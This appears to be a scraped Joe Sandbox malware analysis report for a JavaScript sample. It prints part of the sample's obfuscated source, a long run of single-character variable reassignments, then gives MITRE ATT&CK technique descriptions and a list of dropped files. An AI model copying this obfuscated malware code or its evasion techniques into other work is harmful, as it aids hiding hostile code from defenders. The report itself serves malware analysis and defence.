1264	jtekhqyhr = "p";
1265	jtekhqyhr = "W";
1266	jtekhqyhr = "Z";
1267	jtekhqyhr = "g";
1268	jtekhqyhr = "g";
1269	jtekhqyhr = "r";
1270	nfbdclkuz = "z";
1271	nfbdclkuz = "P";
1272	nfbdclkuz = "N";
1273	nfbdclkuz = "c";
1274	nfbdclkuz = "d";
1275	nfbdclkuz = "Q";
1276	nfbdclkuz = "n";
1277	nfbdclkuz = "R";
1278	nfbdclkuz = "k";
1279	nfbdclkuz = "N";
1280	nfbdclkuz = "B";
1281	nfbdclkuz = "V";
1282	nfbdclkuz = "U";
1283	nfbdclkuz = "T";
1284	nfbdclkuz = "t";
1285	yjbmos = "d";
1286	yjbmos = "f";
1287	yjbmos = "r";
1288	yjbmos = "u";
1289	yjbmos = "q";
1290	yjbmos = "Q";
1291	yjbmos = "e";
1292	yjbmos = "m";
1293	yjbmos = "Z";
1294	yjbmos = "S";
1295	yjbmos = "u";
1296	yjbmos = "z";
1297	yjbmos = "V";
1298	yjbmos = "Z";
1299	yjbmos = "v";
1300	yjbmos = "l";
1301	yjbmos = "r";
1302	yjbmos = "E";
1303	yjbmos = "B";
1304	yjbmos = "P";
1305	yjbmos = "e";
1306	yjbmos = "v";
1307	yjbmos = "g";
1308	yjbmos = "L";
1309	yjbmos = "j";
1310	yjbmos = "g";
1311	yjbmos = "I";
1312	yjbmos = "R";
1313	yjbmos = "B";
1314	yjbmos = "J";
1315	yjbmos = "Q";
1316	yjbmos = "C";
1317	yjbmos = "z";
1318	yjbmos = "V";
1319	yjbmos = "L";
1320	yjbmos = "M";
1321	yjbmos = "A";
1322	yjbmos = "S";
1323	yjbmos = "V";
1324	yjbmos = "K";
1325	yjbmos = "J";
1326	yjbmos = ":";
1327	abyogk = "N";
1328	abyogk = "y";
1329	abyogk = "V";
1330	abyogk = "j";
1331	abyogk = "r";
1332	abyogk = "M";
1333	abyogk = "r";
1334	abyogk = "c";
1335	abyogk = "m";
1336	abyogk = "Y";
1337	abyogk = "d";
1338	abyogk = "W";
1339	abyogk = "Q";
1340	abyogk = "j";
1341	okdxcdi = ".";
1342	nztdugm = "Z";
1343	nztdugm = "G";
1344	nztdugm = "I";
1345	nztdugm = "Y";
1346	ihmkggl = "p";
1347	ihmkggl = "c";
1348	ihmkggl = "C";
1349	ihmkggl = "I";
1350	ihmkggl = "S";
1351	ihmkggl = "H";
1352	ihmkggl = "d";
1353	ihmkggl = "D";
1354	ihmkggl = "h";
1355	ihmkggl = "x";
1356	ihmkggl = "y";
1357	ihmkggl = "C";
1358	ihmkggl = "t";
1359	ihmkggl = "P";
1360	ihmkggl = "M";
1361	ihmkggl = "h";
1362	ihmkggl = "w";
1363	ihmkggl = "b";
1364	ihmkggl = "e";
1365	ihmkggl = "m";
1366	ihmkggl = "V";
1367	ihmkggl = "H";
1368	ihmkggl = "s";
1369	ihmkggl = "j";
1370	ihmkggl = "M";
1371	ihmkggl = "m";
1372	ihmkggl = "R";
1373	ihmkggl = "r";
1374	ihmkggl = "I";
1375	ihmkggl = "j";
1376	ihmkggl = "g";
1377	ihmkggl = "K";
1378	ihmkggl = "S";
1379	ihmkggl = "I";
1380	ihmkggl = "e";
1381	ihmkggl = "B";
1382	ihmkggl = "r";
1383	ihmkggl = "o";
1384	qdytww = "T";
1385	qdytww = "b";
1386	qdytww = "R";
1387	qdytww = "I";
1388	qdytww = "%";
1389	jxzjf = "A";
1390	jxzjf = "r";
1391	jxzjf = "O";
1392	jxzjf = "N";
1393	jxzjf = "T";
1394	jxzjf = "m";
1395	jxzjf = "e";
1396	jxzjf = "C";
1397	jxzjf = "N";
1398	jxzjf = "h";
1399	jxzjf = "O";
1400	jxzjf = "D";
1401	jxzjf = "r";
1402	jxzjf = "V";
1403	jxzjf = "x";
1404	jxzjf = "I";
1405	jxzjf = "F";
1406	jxzjf = "H";
1407	jxzjf = "l";
1408	jxzjf = "G";
1409	jxzjf = "L";
1410	jxzjf = "R";
1411	jxzjf = "P";
1412	jxzjf = "e";
1413	jxzjf = "i";
1414	jxzjf = "q";
1415	jxzjf = "r";
1416	jxzjf = "X";
1417	jxzjf = "i";
1418	jxzjf = "j";
1419	jxzjf = "o";
1420	jxzjf = "o";
1421	jxzjf = "4";
1422	morpz = "c";
1423	morpz = "x";
1424	morpz = "I";
1425	morpz = "q";
1426	morpz = "h";
1427	morpz = "q";
1428	morpz = "h";
1429	morpz = "O";
1430	morpz = "Q";
1431	morpz = "j";
1432	morpz = "w";
1433	morpz = "F";
1434	morpz = "x";
1435	morpz = "3";
1436	wkspmfwk = "h";
1437	wkspmfwk = "t";
1438	wkspmfwk = "d";
1439	wkspmfwk = "A";
1440	wkspmfwk = "z";
1441	wkspmfwk = "T";
1442	wkspmfwk = "A";
1443	wkspmfwk = "x";
1444	wkspmfwk = "t";
1445	wkspmfwk = "S";
1446	wkspmfwk = "m";
1447	wkspmfwk = "e";
1448	wkspmfwk = "I";
1449	wkspmfwk = "i";
1450	wkspmfwk = "m";
1451	wkspmfwk = "A";
1452	wkspmfwk = "M";
1453	wkspmfwk = "h";
1454	wkspmfwk = "d";
1455	wkspmfwk = "J";
1456	wkspmfwk = "d";
1457	wkspmfwk = "P";
1458	wkspmfwk = "j";
1459	wkspmfwk = "A";
1460	wkspmfwk = "J";
1461	wkspmfwk = "W";
1462	wkspmfwk = "q";
1463	wkspmfwk = "y";
1464	wkspmfwk = "U";
1465	wkspmfwk = "x";
1466	wkspmfwk = "C";
1467	wkspmfwk = "g";
1468	wkspmfwk = "T";
1469	wkspmfwk = "c";
1470	wkspmfwk = "W";
1471	wkspmfwk = "H";
1472	wkspmfwk = "B";
1473	wkspmfwk = "q";
1474	wkspmfwk = "W";
1475	wkspmfwk = "n";
1476	wkspmfwk = "J";
1477	wkspmfwk = "T";
1478	wkspmfwk = "q";
1479	wkspmfwk = "a";
1480	wkspmfwk = "a";
1481	rhdoeyc = "I";
1482	rhdoeyc = "r";
1483	rhdoeyc = "t";
1484	rhdoeyc = "i";
1485	rhdoeyc = "l";
1486	rhdoeyc = "Z";
1487	rhdoeyc = "N";
1488	rhdoeyc = "N";
1489	rhdoeyc = "G";
1490	rhdoeyc = "h";
1491	rhdoeyc = "Z";
1492	rhdoeyc = "u";
1493	fjklcxli = "j";
1494	fjklcxli = "Z";
1495	fjklcxli = "F";
1496	fjklcxli = "o";
1497	fjklcxli = "Q";
1498	fjklcxli = "d";
1499	wqrsn ( );	wqrsn() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 155442583088718889.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f1ac9e5d-532e-4410-8175-ef42016ea8f4.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
155442583088718889.js